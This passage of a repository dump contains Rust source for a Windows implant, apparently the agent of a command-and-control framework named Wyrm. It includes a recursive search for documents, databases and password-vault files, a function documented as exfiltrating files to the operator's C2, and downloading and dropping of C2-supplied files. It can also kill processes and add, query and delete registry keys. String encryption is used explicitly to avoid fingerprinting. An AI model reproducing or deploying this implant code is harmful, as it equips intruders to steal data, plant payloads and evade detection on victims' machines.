PathBuf,\n    listings: &mut Vec<String>,\n) -> io::Result<()> {\n    let mut dir_buf: Vec<PathBuf> = Vec::new();\n    dir_buf.push(dir);\n\n    while let Some(dir) = dir_buf.pop() {\n        if dir.is_dir() {\n            let dir = match fs::read_dir(dir) {\n                Ok(d) => d,\n                Err(_) => {\n                    continue;\n                }\n            };\n\n            for entry in dir {\n                let entry = match entry {\n                    Ok(e) => e,\n                    Err(e) => {\n                        #[cfg(debug_assertions)]\n                        println!(\"[-] Error reading dir. {e}\");\n                        continue;\n                    }\n                };\n                let path = entry.path();\n\n                if path.is_dir() {\n                    dir_buf.push(path);\n                } else {\n                    let ext = path.extension().unwrap_or_default();\n                    let ext = ext.to_str().unwrap_or_default();\n\n                    if ext.eq_ignore_ascii_case(&sc!(\"pdf\", 56).unwrap()) || \n                        ext.eq_ignore_ascii_case(&sc!(\"doc\", 56).unwrap()) || \n                        ext.eq_ignore_ascii_case(&sc!(\"docx\", 56).unwrap()) || \n                        // ext.eq_ignore_ascii_case(\"txt\") || \n                        ext.eq_ignore_ascii_case(&sc!(\"log\", 56).unwrap()) || \n                        ext.eq_ignore_ascii_case(&sc!(\"png\", 56).unwrap()) || \n                        ext.eq_ignore_ascii_case(&sc!(\"mov\", 56).unwrap()) || \n                        ext.eq_ignore_ascii_case(&sc!(\"kpdb\", 56).unwrap()) || \n                        ext.eq_ignore_ascii_case(&sc!(\"xls\", 56).unwrap()) || \n                        ext.eq_ignore_ascii_case(&sc!(\"xlsx\", 56).unwrap()) || \n                        ext.eq_ignore_ascii_case(&sc!(\"ppt\", 56).unwrap()) || \n                        ext.eq_ignore_ascii_case(&sc!(\"pptx\", 56).unwrap()) ||\n                        ext.eq_ignore_ascii_case(&sc!(\"sql\", 56).unwrap()) ||\n                        ext.eq_ignore_ascii_case(&sc!(\"sqlite3\", 56).unwrap()) ||\n                        ext.eq_ignore_ascii_case(&sc!(\"accdb\", 56).unwrap()) ||\n                        ext.eq_ignore_ascii_case(&sc!(\"csv\", 56).unwrap()) ||\n                        ext.eq_ignore_ascii_case(&sc!(\"db\", 56).unwrap())\n                    {\n                        let s = path.to_string_lossy().to_string();\n                        listings.push(s);\n                    }\n                }\n            }\n        }\n    }\n\n    Ok(())\n}\n\npub fn dir_listing(cwd: &Path) -> Option<impl Serialize + use<>> {\n    let dir = match fs::read_dir(cwd) {\n        Ok(d) => d,\n        // todo handle\n        Err(e) => {\n            #[cfg(debug_assertions)]\n            print_failed(format!(\"read_dir produced an error. {e}\"));\n\n            return None;\n        }\n    };\n\n    let mut entries = Vec::new();\n    for e in dir {\n        if let Ok(entry) = e {\n            let label = match entry.metadata() {\n                Ok(metadata) => {\n                    if metadata.is_dir() {\n                        \"[DIR] \".to_string()\n                    } else {\n                        \"[FILE]\".to_string()\n                    }\n                }\n                Err(e) => {\n                    format!(\"{e}\")\n                }\n            };\n\n            entries.push(format!(\"{label}     {}\", entry.path().display()));\n        }\n    }\n\n    if entries.is_empty() {\n        #[cfg(debug_assertions)]\n        print_failed(\"Entries was default.\");\n\n        return None;\n    }\n\n    Some(entries)\n}\n\npub enum MoveCopyAction {\n    Move,\n    Copy,\n}\n\n/// Implementation for copying or moving a file from location a to b.\n///\n/// The function takes a [`MoveCopyAction`] which determines whether the function moves or copies a file\npub fn move_or_copy_file(\n    implant: &Wyrm,\n    metadata: &str,\n    action: MoveCopyAction,\n) -> Option<impl Serialize + use<>> {\n    //\n    // Implementation detail:\n    //\n    // This function should return None in the event of a successful operation, and in the event\n    // of an error we want to return Some(WyrmResult::Error(msg)). This is to reduce the amount\n    // of fingerprintable strings in the agent binary, and the error's don't include any additional\n    // strings, other than an OS error.\n    //\n    // We can handle the output of the success case in the client back on receipt of a `None`.\n    //\n\n    // Get the data out of the metadata which the implant received from the C2, or return\n    // an error\n    let (from, to) = match serde_json::from_str::<(String, String)>(&metadata) {\n        Ok(v) => v,\n        Err(e) => return Some(WyrmResult::Err::<String>(e.to_string())),\n    };\n\n    // The from path can be parsed; as we know the target should (or could) exist.\n    // The to path we will just take for granted that the user knows what they are doing..\n    // if it is wrong, they will get an error in any case.\n    let from_path = match parse_path(\n        &from,\n        &implant.current_working_directory,\n        PathParseType::File,\n    ) {\n        WyrmResult::Ok(p) => p,\n        WyrmResult::Err(e) => return Some(WyrmResult::Err(e)),\n    };\n\n    // Is the path absolute? If not, we need to construct relative to the current working\n    // directory of the agent\n    let mut to_path = PathBuf::from(&to);\n    if !to_path.is_absolute() {\n        to_path = implant.current_working_directory.clone();\n        to_path.push(&to);\n    }\n\n    match action {\n        MoveCopyAction::Move => {\n            match std::fs::rename(&from_path, &to_path) {\n                Ok(_) => return None,\n                Err(e) => {\n                    #[cfg(debug_assertions)]\n                    println!(\"Failed to move file to {}. {e}\", to_path.display());\n\n                    return Some(WyrmResult::Err(e.to_string()));\n                }\n            };\n        }\n        MoveCopyAction::Copy => {\n            match std::fs::copy(&from_path, &to_path) {\n                Ok(_) => return None,\n                Err(e) => {\n                    #[cfg(debug_assertions)]\n                    println!(\"Failed to copy file to {}. {e}\", to_path.display());\n\n                    return Some(WyrmResult::Err(e.to_string()));\n                }\n            };\n        }\n    }\n}\n\npub fn rm_from_fs(\n    implant: &Wyrm,\n    metadata: &str,\n    target_type: PathParseType,\n) -> Option<impl Serialize + use<>> {\n    let from = match serde_json::from_str::<String>(&metadata) {\n        Ok(v) => v,\n        Err(e) => return Some(WyrmResult::Err::<String>(e.to_string())),\n    };\n\n    let from_path = match parse_path(&from, &implant.current_working_directory, target_type) {\n        WyrmResult::Ok(p) => p,\n        WyrmResult::Err(e) => return Some(WyrmResult::Err(e)),\n    };\n\n    match target_type {\n        PathParseType::Directory => {\n            if let Err(e) = fs::remove_dir_all(from_path) {\n                return Some(WyrmResult::Err(format!(\n                    \"{} {}\",\n                    sc!(\"Error removing directory:\", 69).unwrap(),\n                    e.to_string()\n                )));\n            }\n        }\n        PathParseType::File => {\n            if let Err(e) = fs::remove_file(from_path) {\n                return Some(WyrmResult::Err(format!(\n                    \"{} {}\",\n                    sc!(\"Error removing file:\", 68).unwrap(),\n                    e.to_string()\n                )));\n            }\n        }\n    }\n\n    Some(WyrmResult::Ok(\n        sc!(\"Operation completed successfully\", 146).unwrap(),\n    ))\n}\n\n/// Drops a file to the disk in the current directory from the C2.\npub fn drop_file_to_disk(\n    metadata_str: &Option<String>,\n    wyrm: &Wyrm,\n) -> Option<impl Serialize + use<>> {\n    let metadata_str = match metadata_str {\n        Some(m) => m,\n        None => return None,\n    };\n\n    let metadata = FileDropMetadata::from(metadata_str.as_str());\n\n    // Note: The download uri should be guaranteed here, so an unwrap is acceptable\n    let file_data = match download_file_with_uri_in_memory(&metadata.download_uri.unwrap(), wyrm) {\n        Ok(f) => f,\n        Err(e) => {\n            return Some(WyrmResult::Err(e.to_string()));\n        }\n    };\n\n    let mut write_path = PathBuf::from(&wyrm.current_working_directory);\n    write_path.push(&metadata.download_name);\n\n    let mut buffer = match File::create(write_path) {\n        Ok(b) => b,\n        Err(e) => return Some(WyrmResult::Err(e.to_string())),\n    };\n\n    if let Err(e) = buffer.write_all(&file_data) {\n        return Some(WyrmResult::Err(e.to_string()));\n    };\n\n    Some(WyrmResult::Ok(\"\".to_string()))\n}\n\n/// Changes the working directory of the implant to what was specified by the user.\n///\n/// # Returns\n/// The function returns an `Option<impl Serialize + use<>>` to work with the task system.\n///\n/// - `Some`: In the event we managed to change the directory, the function will return the path we\n///   now have in the cwd to the c2 which can be pulled in the notifications by the operator.\n/// - `None`: In the event the function failed, `None` will be returned, and again this will be viewable\n///   by the operator.\npub fn change_directory(\n    implant: &mut Wyrm,\n    new_path_str: &Option<String>,\n) -> Option<impl Serialize + use<>> {\n    // This should never fail, so long as it is called from the correct place\n    let new_path_str = new_path_str.as_ref().unwrap();\n\n    let result = match parse_path(\n        &new_path_str,\n        &implant.current_working_directory,\n        PathParseType::Directory,\n    ) {\n        WyrmResult::Ok(r) => r,\n        WyrmResult::Err(e) => {\n            #[cfg(debug_assertions)]\n            println!(\"Failed to parse new path. Error: {e}\");\n\n            return Some(WyrmResult::Err(e));\n        }\n    };\n\n    // Doing so validates the path, makes sure we done change directory on a path that doesn't\n    // exist, or has improper permissions.\n    match fs::canonicalize(result) {\n        Ok(c) => {\n            c.to_string_lossy().into_owned();\n            implant.current_working_directory = c.clone();\n            return Some(WyrmResult::Ok(c.to_string_lossy().into_owned()));\n        }\n        Err(e) => {\n            #[cfg(debug_assertions)]\n            print_failed(format!(\"Failed to canonicalize path when using cd. {e}\"));\n\n            let return_error: Option<WyrmResult<String>> = match e.kind() {\n                std::io::ErrorKind::NotFound => Some(WyrmResult::Err(\"Not found\".to_string())),\n                std::io::ErrorKind::PermissionDenied => {\n                    Some(WyrmResult::Err(\"Permission denied.\".to_string()))\n                }\n                _ => Some(WyrmResult::Err(format!(\n                    \"An error occurred. Code: {}\",\n                    e.raw_os_error().unwrap_or_default()\n                ))),\n            };\n\n            // And we can just return the error state, now we have corrected the cwd.\n            return return_error;\n        }\n    }\n}\n\n#[derive(PartialEq, Eq, Copy, Clone)]\npub enum PathParseType {\n    Directory,\n    File,\n}\n\n/// Takes a path which is passed to the implant from the operator, and extracts it into a valid\n/// path which the implant can then use.\npub fn parse_path(\n    new_path_str: &str,\n    current_working_dir: &PathBuf,\n    parse_type: PathParseType,\n) -> WyrmResult<String> {\n    // Handle quoted input paths\n    let new_path = if (new_path_str.starts_with(\"\\\"\") && new_path_str.ends_with(\"\\\"\"))\n        || (new_path_str.starts_with(\"\\'\") && new_path_str.ends_with(\"\\'\"))\n    {\n        PathBuf::from(&new_path_str[1..new_path_str.len() - 1])\n    } else {\n        PathBuf::from(new_path_str)\n    };\n\n    // We need an owned copy of `current_working_dir`, without having to trouble to caller to clone\n    // for an owned copy.\n    let mut directory_search_cursor: PathBuf = current_working_dir.clone();\n\n    // We will use an option to help the control flow below, rather than a bool, a little\n    // more idiomatic\n    let mut result: Option<WyrmResult<String>> = None;\n\n    //\n    // First branch we will check is in the case where the cd ends with a ../\n    // This will be the operator wanting to move up a directory so we can handle\n    // these directly. In the event the operator adds more ../'s than there is\n    // distance to the root, then it won't move past the root.\n    //\n\n    if new_path_str.ends_with(\"../\") || new_path_str.ends_with(r\"..\\\") {\n        let mut count_dirs_to_move: usize = 0;\n\n        for token in new_path_str.chars() {\n            if token == '/' || token == '\\\\' {\n                count_dirs_to_move += 1;\n            }\n        }\n\n        // For each '/' | '\\' we found, pop a dir off of the PathBuf\n        for _ in 0..count_dirs_to_move {\n            directory_search_cursor.pop();\n        }\n\n        result = Some(WyrmResult::Ok(\n            directory_search_cursor.to_string_lossy().into_owned(),\n        ));\n    }\n\n    //\n    // Now we will handle absolute and relative paths\n    //\n\n    // Checks for absolute paths given in the cli\n    if new_path.is_absolute() && result.is_none() {\n        match parse_type {\n            PathParseType::Directory => {\n                if new_path.exists() && new_path.is_dir() {\n                    directory_search_cursor = new_path.clone();\n                }\n            }\n            PathParseType::File => {\n                if new_path.exists() {\n                    directory_search_cursor = new_path.clone();\n                }\n            }\n        }\n\n        result = Some(WyrmResult::Ok(\n            directory_search_cursor.to_string_lossy().into_owned(),\n        ));\n    }\n\n    // Checks for relative paths passed into the cli\n    if result.is_none() {\n        let candidate = directory_search_cursor.join(&new_path);\n        if candidate.exists() {\n            if parse_type == PathParseType::Directory {\n                if candidate.is_dir() {\n                    directory_search_cursor.push(new_path);\n                }\n            } else {\n                directory_search_cursor.push(new_path);\n            }\n\n            result = Some(WyrmResult::Ok(\n                directory_search_cursor.to_string_lossy().into_owned(),\n            ));\n        }\n    }\n\n    if let Some(result_to_ret) = result {\n        return result_to_ret;\n    } else {\n        return WyrmResult::Err(format!(\"{new_path_str} not found.\"));\n    }\n}\n\n/// Pulls a file from the local filesystem up to the C2, in effect, allowing the operator\n/// to exfiltrate data.\n///\n/// # Returns\n/// This function on success returns `WyrmResult::Ok` containing a [`shared::tasks::ExfiltratedFile`].\n///\n/// On error this function returns `WyrmResult::Err(err)`\npub fn pull_file(\n    file_path_str: &str,\n    implant_working_dir: &PathBuf,\n) -> WyrmResult<ExfiltratedFile> {\n    // Validate and parse the path we received\n    let file_path = match parse_path(file_path_str, implant_working_dir, PathParseType::File) {\n        WyrmResult::Ok(p) => p,\n        WyrmResult::Err(e) => {\n            #[cfg(debug_assertions)]\n            println!(\"Failed to parse path. {e}\");\n\n            return WyrmResult::Err(e);\n        }\n    };\n\n    let ef = ExfiltratedFile::new(get_hostname(), file_path, vec![]);\n\n    WyrmResult::Ok(ef)\n}\n"
  },
  {
    "path": "implant/src/native/mod.rs",
    "content": "pub mod accounts;\npub mod filesystem;\npub mod processes;\npub mod registry;\npub mod shell;\n"
  },
  {
    "path": "implant/src/native/processes.rs",
    "content": "//! Native interactions with Windows Processes\n\nuse serde::Serialize;\nuse shared::{\n    stomped_structs::Process,\n    tasks::{Task, WyrmResult},\n};\nuse std::{ffi::CStr, mem::MaybeUninit, ptr::null_mut};\nuse str_crypter::{decrypt_string, sc};\nuse windows_sys::Win32::{\n    Foundation::{CloseHandle, FALSE, GetLastError, HANDLE, TRUE},\n    Security::{\n        GetTokenInformation, LookupAccountSidW, PSID, SID_NAME_USE, TOKEN_QUERY, TOKEN_USER,\n        TokenUser,\n    },\n    System::{\n        Diagnostics::ToolHelp::{\n            CreateToolhelp32Snapshot, PROCESSENTRY32, Process32First, Process32Next, TH32CS_SNAPALL,\n        },\n        ProcessStatus::EnumProcesses,\n        Threading::{\n            OpenProcess, OpenProcessToken, PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_TERMINATE,\n            QueryFullProcessImageNameW, TerminateProcess,\n        },\n    },\n};\n\nuse crate::utils::console::print_failed;\nuse crate::utils::strings::utf_16_to_string_lossy;\n\npub fn running_process_details() -> Option<impl Serialize> {\n    // Get the pids; if we fail to do so, quit\n    // let pids = get_pids().ok()?;\n\n    // Convert the pids to Process types, and return the Option containing the Vec<Process>\n    // pids_to_processes(pids)\n    enum_all_processes()\n}\n\n/// Retrieves the PIDS of running processes\n///\n/// # Returns\n/// - Ok - A vector of PIDs\n/// - Err - The GetLastError code after calling EnumProcesses\nfn get_pids() -> Result<Vec<u32>, u32> {\n    const STARTING_NUM_ELEMENTS: usize = 1024;\n    let mut pids = vec![0u32; STARTING_NUM_ELEMENTS];\n\n    loop {\n        let array_len = (pids.len() * size_of::<u32>()) as u32;\n        let mut returned_len = 0;\n\n        if unsafe { EnumProcesses(pids.as_mut_ptr(), array_len, &mut returned_len) } == 0 {\n            return Err(unsafe { GetLastError() });\n        }\n\n        let num_pids = (returned_len as usize) / size_of::<u32>();\n\n        if num_pids < pids.len() {\n            pids.truncate(num_pids);\n            return Ok(pids);\n        }\n\n        pids.resize(pids.len() * 2, 0);\n    }\n}\n\n// /// Converts a Vector of pids to pid:name type [`Process`]\n// fn pids_to_processes(pids: Vec<u32>) -> Option<Vec<Process>> {\n//     let mut processes = Vec::new();\n\n//     for pid in pids {\n//         let handle = unsafe { OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid) };\n\n//         if handle.is_null() {\n//             continue;\n//         }\n\n//         let name = lookup_process_name(handle, pid);\n//         let user = lookup_process_owner_name(handle, pid);\n\n//         processes.push(Process { pid, name, user });\n//         let _ = unsafe { CloseHandle(handle) };\n//     }\n\n//     if processes.is_empty() {\n//         return None;\n//     }\n\n//     Some(processes)\n// }\n\nfn lookup_process_name(handle: HANDLE, pid: u32) -> String {\n    const BUF_LEN: u32 = 512;\n    // Zero memset initialise a stack buffer to write the process name to\n    let buf: MaybeUninit<[u16; BUF_LEN as _]> = MaybeUninit::uninit();\n    let mut buf = unsafe { buf.assume_init() };\n\n    let mut sz: u32 = BUF_LEN;\n\n    let result = unsafe { QueryFullProcessImageNameW(handle, 0, buf.as_mut_ptr(), &mut sz) };\n\n    if result == 0 {\n        #[cfg(debug_assertions)]\n        {\n            print_failed(format!(\n                \"Failed to look up image name for pid {pid}. Error code: {:#X}\",\n                unsafe { GetLastError() }\n            ));\n        }\n\n        return sc!(\"unknown\", 87).unwrap();\n    }\n\n    let full_str = unsafe { utf_16_to_string_lossy(buf.as_ptr(), sz as _) };\n    let parts: Vec<&str> = full_str.split('\\\\').collect();\n\n    parts[parts.len() - 1].to_string()\n}\n\nfn lookup_process_owner_name(pid: u32) -> String {\n    let mut token_handle: HANDLE = HANDLE::default();\n    let mut user = String::new();\n\n    let handle = unsafe { OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid) };\n\n    if handle.is_null() {\n        return String::new();\n    }\n\n    let result = unsafe { OpenProcessToken(handle, TOKEN_QUERY, &mut token_handle) } as u8;\n\n    if result == 0 {\n        #[cfg(debug_assertions)]\n        {\n            let gle = unsafe { GetLastError() };\n            print_failed(format!(\n                \"Failed to initially open token on process {pid}. {gle:#X}\"\n            ));\n        }\n        return sc!(\"unknown\", 78).unwrap();\n    }\n\n    let mut token_size = 0;\n    unsafe { GetTokenInformation(token_handle, TokenUser, null_mut(), 0, &mut token_size) };\n\n    //\n    // If we received data, pull out the token info (gives us the users SID which we can convert to a username)\n    //\n    if token_size > 0 {\n        let mut token_info: Vec<u8> = Vec::with_capacity(token_size as _);\n\n        let result = unsafe {\n            GetTokenInformation(\n                token_handle,\n                TokenUser,\n                token_info.as_mut_ptr() as *mut _,\n                token_size,\n                &mut token_size,\n            )\n        };\n\n        if result == 0 {\n            #[cfg(debug_assertions)]\n            {\n                let gle = unsafe { GetLastError() };\n                print_failed(format!(\n                    \"Failed to read token info on process {pid}. {gle:#X}\"\n                ));\n            }\n            unsafe { CloseHandle(token_handle) };\n            return sc!(\"unknown\", 78).unwrap();\n        }\n\n        //\n        // At this point we have properly got the token info, it now needs parsing as a SID\n        // and looking up.\n        //\n        let sid = unsafe { *(token_info.as_ptr() as *const TOKEN_USER) }\n            .User\n            .Sid as PSID;\n\n        const BUF_LEN: u32 = 256;\n        let mut name_tchars = BUF_LEN;\n        let mut domain_tchars = BUF_LEN;\n        let mut sid_type = SID_NAME_USE::default();\n\n        // Zero memset initialise a stack buffer to write the process name to\n        let wide_name: MaybeUninit<[u16; BUF_LEN as _]> = MaybeUninit::uninit();\n        let mut wide_name = unsafe { wide_name.assume_init() };\n        let wide_domain: MaybeUninit<[u16; BUF_LEN as _]> = MaybeUninit::uninit();\n        let mut wide_domain = unsafe { wide_domain.assume_init() };\n\n        let result = unsafe {\n            LookupAccountSidW(\n                null_mut(),\n                sid,\n                wide_name.as_mut_ptr(),\n                &mut name_tchars,\n                wide_domain.as_mut_ptr(),\n                &mut domain_tchars,\n                &mut sid_type,\n            )\n        };\n\n        if result == 0 {\n            #[cfg(debug_assertions)]\n            {\n                let gle = unsafe { GetLastError() };\n                print_failed(format!(\"Failed to lookup account SID {pid}. {gle:#X}\"));\n            }\n\n            return sc!(\"unknown\", 78).unwrap();\n        }\n\n        //\n        // Convert to a native string\n        //\n        user = unsafe { utf_16_to_string_lossy(wide_name.as_ptr(), name_tchars as _) };\n    } else {\n        #[cfg(debug_assertions)]\n        {\n            let gle = unsafe { GetLastError() };\n            print_failed(format!(\n                \"No data received when trying to open token {pid}. {gle:#X}\"\n            ));\n        }\n\n        user = sc!(\"unknown\", 78).unwrap();\n    }\n\n    unsafe { CloseHandle(token_handle) };\n\n    user\n}\n\n/// Kills a process by its pid.\n///\n/// # Returns\n///\n/// ## On success\n/// - `Some(WyrmResult(pid))` where the inner pid is the PID of the killed process.\n///\n/// ## On Error\n/// - `None`: A non-descript silent error (to maintain some pattern OPSEC)#\n/// - `Some(WyrmResult(String))`: An error which can be printed to the client\npub fn kill_process(pid: &Task) -> Option<WyrmResult<String>> {\n    let pid: u32 = match pid.metadata.as_ref().unwrap().parse() {\n        Ok(p) => p,\n        Err(_) => return None,\n    };\n\n    let handle = unsafe { OpenProcess(PROCESS_TERMINATE, FALSE, pid as _) };\n    if handle.is_null() {\n        return Some(WyrmResult::Err(format!(\"Error code: {:#X}\", unsafe {\n            GetLastError()\n        })));\n    }\n\n    if unsafe { TerminateProcess(handle, 0) } == FALSE {\n        let _ = unsafe { CloseHandle(handle) };\n        return Some(WyrmResult::Err(format!(\"Error code: {:#X}\", unsafe {\n            GetLastError()\n        })));\n    }\n\n    let _ = unsafe { CloseHandle(handle) };\n\n    #[cfg(debug_assertions)]\n    {\n        use crate::utils::console::print_success;\n\n        print_success(format!(\"Successfully terminated process {pid}\"));\n    }\n\n    Some(WyrmResult::Ok(pid.to_string()))\n}\n\nfn enum_all_processes() -> Option<Vec<Process>> {\n    let h_snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0) };\n    if h_snapshot.is_null() {\n        return None;\n    }\n\n    let mut processes: Vec<Process> = Vec::new();\n\n    let mut process_entry = PROCESSENTRY32::default();\n    process_entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;\n\n    if unsafe { Process32First(h_snapshot, &mut process_entry) } == TRUE {\n        loop {\n            //\n            // Get the process name\n            //\n            let current_process_name_ptr = process_entry.szExeFile.as_ptr() as *const _;\n            let current_process_name =\n                match unsafe { CStr::from_ptr(current_process_name_ptr) }.to_str() {\n                    Ok(process) => process.to_string(),\n                    Err(e) => {\n                        #[cfg(debug_assertions)]\n                        print_failed(format!(\"Error converting process name. {e}\"));\n\n                        continue;\n                    }\n                };\n\n            let pid = process_entry.th32ProcessID;\n\n            let username = lookup_process_owner_name(pid);\n            let ppid = process_entry.th32ParentProcessID;\n\n            processes.push(Process {\n                pid,\n                name: current_process_name,\n                user: username,\n                ppid,\n            });\n\n            // continue enumerating\n            if unsafe { Process32Next(h_snapshot, &mut process_entry) } == FALSE {\n                break;\n            }\n        }\n    }\n\n    unsafe {\n        let _ = CloseHandle(h_snapshot);\n    };\n\n    Some(processes)\n}\n"
  },
  {
    "path": "implant/src/native/registry.rs",
    "content": "use std::slice::from_raw_parts;\n\nuse serde::Serialize;\nuse shared::{\n    stomped_structs::RegQueryResult,\n    task_types::{RegAddInner, RegQueryInner, RegType},\n    tasks::WyrmResult,\n};\nuse str_crypter::{decrypt_string, sc};\nuse windows_registry::{CLASSES_ROOT, CURRENT_USER, Key, LOCAL_MACHINE, Transaction, USERS, Value};\n\nuse crate::utils::console::print_failed;\n\npub fn reg_query(raw_input: &Option<String>) -> Option<impl Serialize> {\n    let input_deser = match raw_input {\n        Some(s) => match serde_json::from_str::<RegQueryInner>(s) {\n            Ok(s) => s,\n            Err(e) => {\n                return Some(WyrmResult::Err(format!(\n                    \"{} {e}\",\n                    sc!(\"Error deserialising query data.\", 19).unwrap(),\n                )));\n            }\n        },\n        None => {\n            return Some(WyrmResult::Err(format!(\n                \"{}\",\n                sc!(\n                    \"No query data received, cannot continue executing task.\",\n                    42\n                )\n                .unwrap(),\n            )));\n        }\n    };\n\n    // Check if we have 2 args\n    if let Some(val) = input_deser.1 {\n        return query_key_plus_value(input_deser.0, val);\n    } else {\n        return query_key(input_deser.0);\n    }\n}\n\npub fn reg_del(raw_input: &Option<String>) -> Option<impl Serialize> {\n    let input_deser = match raw_input {\n        Some(s) => match serde_json::from_str::<RegQueryInner>(s) {\n            Ok(s) => s,\n            Err(e) => {\n                return Some(WyrmResult::Err(format!(\n                    \"{} {e}\",\n                    sc!(\"Error deserialising query data.\", 19).unwrap(),\n                )));\n            }\n        },\n        None => {\n            return Some(WyrmResult::Err(format!(\n                \"{}\",\n                sc!(\"No data on inner field, cannot continue with task.\", 19).unwrap(),\n            )));\n        }\n    };\n\n    // Check if we have 2 args\n    if let Some(val) = input_deser.1 {\n        return delete_reg_value(input_deser.0, val);\n    } else {\n        return delete_key(input_deser.0);\n    }\n}\n\npub fn reg_add(raw_input: &Option<String>) -> Option<impl Serialize> {\n    let (path, value, data, reg_type) = match raw_input {\n        Some(s) => match serde_json::from_str::<RegAddInner>(s) {\n            Ok(s) => s,\n            Err(e) => {\n                return Some(WyrmResult::Err(format!(\n                    \"{} {e}\",\n                    sc!(\"Error deserialising query data.\", 19).unwrap(),\n                )));\n            }\n        },\n        None => {\n            return Some(WyrmResult::Err(format!(\n                \"{}\",\n                sc!(\"No query data cannot continue with task.\", 19).unwrap(),\n            )));\n        }\n    };\n\n    let (opened, path_stripped) = match get_key_strip_hive(&path) {\n        Some((k, p)) => (k, p),\n        None => {\n            return Some(WyrmResult::Err::<String>(\n                sc!(\"Bad data - could not find matching hive.\", 162).unwrap(),\n            ));\n        }\n    };\n\n    //\n    // Do the operation\n    //\n    if let Ok(tx) = Transaction::new() {\n        // Try open the key\n        let opened = match opened\n            .options()\n            .read()\n            .write()\n            .create()\n            .transaction(&tx)\n            .open(&path_stripped)\n        {\n            Ok(o) => o,\n            Err(e) => {\n                return Some(WyrmResult::Err::<String>(format!(\n                    \"{} {e}\",\n                    sc!(\"Could not open key as read/write.\", 162).unwrap()\n                )));\n            }\n        };\n\n        // Set the value depending on the input type\n        let reg_set_op_res = match reg_type {\n            RegType::String => opened.set_string(&value, data.clone()),\n            RegType::U32 => {\n                let data_u32: u32 = match data.clone().parse() {\n                    Ok(d) => d,\n                    Err(e) => {\n                        return Some(WyrmResult::Err::<String>(format!(\n                            \"{} {e}\",\n                            sc!(\"Could not parse input to u64.\", 162).unwrap()\n                        )));\n                    }\n                };\n                opened.set_u32(&value, data_u32)\n            }\n            RegType::U64 => {\n                let data_u64: u64 = match data.clone().parse() {\n                    Ok(d) => d,\n                    Err(e) => {\n                        return Some(WyrmResult::Err::<String>(format!(\n                            \"{} {e}\",\n                            sc!(\"Could not parse input to u64.\", 162).unwrap()\n                        )));\n                    }\n                };\n                opened.set_u64(&value, data_u64)\n            }\n        };\n\n        // Check if the above was successful\n        if let Err(e) = reg_set_op_res {\n            return Some(WyrmResult::Err::<String>(format!(\n                \"{} {path} {value} {e}\",\n                sc!(\"Error whilst trying to set registry value.\", 162).unwrap()\n            )));\n        }\n\n        // Make the transaction\n        if let Err(e) = tx.commit() {\n            return Some(WyrmResult::Err::<String>(format!(\n                \"{} {e}\",\n                sc!(\"Error committing registry transaction.\", 167).unwrap()\n            )));\n        }\n\n        return Some(WyrmResult::Ok::<String>(\n            sc!(\"Successfully modified registry.\", 135).unwrap(),\n        ));\n    }\n\n    return Some(WyrmResult::Err::<String>(\n        sc!(\"Could not create transaction.\", 168).unwrap(),\n    ));\n}\n\nfn query_key_plus_value(path: String, value: String) -> Option<WyrmResult<String>> {\n    //\n    // Try open the hive, in the event of an error - return\n    //\n    let (key, path_stripped) = match get_key_strip_hive(&path) {\n        Some((k, p)) => (k, p),\n        None => {\n            return Some(WyrmResult::Err::<String>(\n                sc!(\"Bad data - could not find matching hive.\", 162).unwrap(),\n            ));\n        }\n    };\n\n    let open_key = match key.open(path_stripped) {\n        Ok(k) => k,\n        Err(e) => {\n            let msg = format!(\"{} {path}. {e}\", sc!(\"Could not open key.\", 19).unwrap());\n\n            #[cfg(debug_assertions)]\n            print_failed(&msg);\n\n            return Some(WyrmResult::Err(msg));\n        }\n    };\n\n    let val_str = match open_key.get_value(&value) {\n        Ok(v) => value_to_string(&v),\n        Err(e) => {\n            let msg = format!(\n                \"{} {path} {value}. {e}\",\n                sc!(\"Could not open key/value.\", 19).unwrap()\n            );\n\n            return Some(WyrmResult::Err(msg));\n        }\n    };\n\n    Some(WyrmResult::Ok(val_str))\n}\n\nfn query_key(path: String) -> Option<WyrmResult<String>> {\n    //\n    // Try open the hive, in the event of an error - return\n    //\n    let (key, path_stripped) = match get_key_strip_hive(&path) {\n        Some((k, p)) => (k, p),\n        None => {\n            return Some(WyrmResult::Err::<String>(\n                sc!(\"Bad data - could not find matching hive.\", 162).unwrap(),\n            ));\n        }\n    };\n\n    let open_key = match key.open(path_stripped) {\n        Ok(k) => k,\n        Err(e) => {\n            let msg = format!(\"{} {path} - {e}\", sc!(\"Could not open key.\", 19).unwrap());\n\n            return Some(WyrmResult::Err(msg));\n        }\n    };\n\n    //\n    // As we are querying the keys/values themselves, we need to iterate through it\n    //\n    let mut constructed_result = RegQueryResult::default();\n\n    if let Ok(keys) = open_key.keys() {\n        for k in keys {\n            constructed_result.subkeys.push(k.clone());\n        }\n    }\n\n    // We got the values, so iterate them - we need to reconstruct everything as a string to send back\n    if let Ok(vals) = open_key.values() {\n        for (name, data) in vals {\n            let mut data_as_str = value_to_string(&data);\n            let name = if name.is_empty() {\n                \"(default)\".to_string()\n            } else {\n                name\n            };\n\n            if data_as_str.is_empty() {\n                data_as_str = String::from(\"(empty)\");\n            }\n\n            constructed_result\n                .values\n                .insert(name.clone(), data_as_str.clone());\n        }\n    }\n\n    if constructed_result.subkeys.is_empty() && constructed_result.values.is_empty() {\n        return Some(WyrmResult::Ok(sc!(\"No data in key.\", 71).unwrap()));\n    }\n\n    match serde_json::to_string(&constructed_result) {\n        Ok(s) => Some(WyrmResult::Ok(s)),\n        Err(e) => {\n            let msg = format!(\"{}. {e}\", sc!(\"Could not serialise data.\", 84).unwrap());\n            Some(WyrmResult::Err(msg))\n        }\n    }\n}\n\nfn value_to_string(data: &Value) -> String {\n    match data.ty() {\n        windows_registry::Type::U32 => val_u32_to_str(&data),\n        windows_registry::Type::U64 => val_u64_to_str(&data),\n        windows_registry::Type::String => val_string_to_str(&data.to_vec()),\n        windows_registry::Type::ExpandString => val_string_to_str(&data.to_vec()),\n        windows_registry::Type::MultiString => val_string_to_str(&data.to_vec()),\n        windows_registry::Type::Bytes => val_bytes_to_str(&data),\n        windows_registry::Type::Other(_) => String::from(\"Not implemented\"),\n    }\n}\n\nfn val_u32_to_str(value: &Value) -> String {\n    u32::from_le_bytes(value[0..4].try_into().unwrap()).to_string()\n}\n\nfn val_u64_to_str(value: &Value) -> String {\n    